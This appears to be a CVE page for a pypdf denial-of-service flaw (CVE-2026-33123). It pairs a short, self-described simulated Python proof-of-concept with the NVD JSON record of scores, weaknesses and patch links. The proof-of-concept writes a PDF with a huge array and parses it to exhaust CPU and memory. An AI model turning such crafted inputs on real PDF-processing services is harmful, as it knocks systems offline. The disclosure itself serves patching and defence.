CVE-2026-33123

import pypdf import io # Simulate crafting a malicious PDF with a large array stream # This creates a PDF structure that triggers the heavy processing malicious_pdf_header = b"%PDF-1.4\n" # Create a stream object with a massive array to trigger the DoS # In a real exploit, this would be a valid PDF object stream large_array = b"[ " + b"0 " * 1000000 + b" ]" malicious_content = malicious_pdf_header + large_array # Save to a file or bytes object with open("exploit_poc.pdf", "wb") as f: f.write(malicious_content) print("Malicious PDF generated: exploit_poc.pdf") # Trigger the vulnerability using the vulnerable library try: # This operation may cause high CPU/Memory usage in versions < 6.9.1 reader = pypdf.PdfReader("exploit_poc.pdf") print(f"PDF Info: {reader.pdf_info}") except Exception as e: print(f"Error occurred (expected in malformed PoC): {e}")

{"cve": {"id": "CVE-2026-33123", "sourceIdentifier": "[email protected]", "published": "2026-03-20T10:16:18.717", "lastModified": "2026-03-23T15:48:01.007", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pypdf is a free and open-source pure-python PDF library. Versions prior to 6.9.1 allow an attacker to craft a malicious PDF which leads to long runtimes and/or large memory usage. Exploitation requires accessing an array-based stream with many entries. This issue has been fixed in version 6.9.1."}, {"lang": "es", "value": "pypdf es una biblioteca PDF de Python puro, gratuita y de código abierto. Las versiones anteriores a la 6.9.1 permiten a un atacante crear un PDF malicioso que provoca tiempos de ejecución prolongados y/o un gran uso de memoria. La explotación requiere acceder a un flujo basado en arrays con muchas entradas. Este problema ha sido solucionado en la versión 6.9.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-407"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pypdf_project:pypdf:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.9.1", "matchCriteriaId": "25DB90BC-A04D-4140-A601-AC1D65096160"}]}]}], "references": [{"url": "https://github.com/py-pdf/pypdf/pull/3686", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/py-pdf/pypdf/releases/tag/6.9.1", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-qpxp-75px-xjcp", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}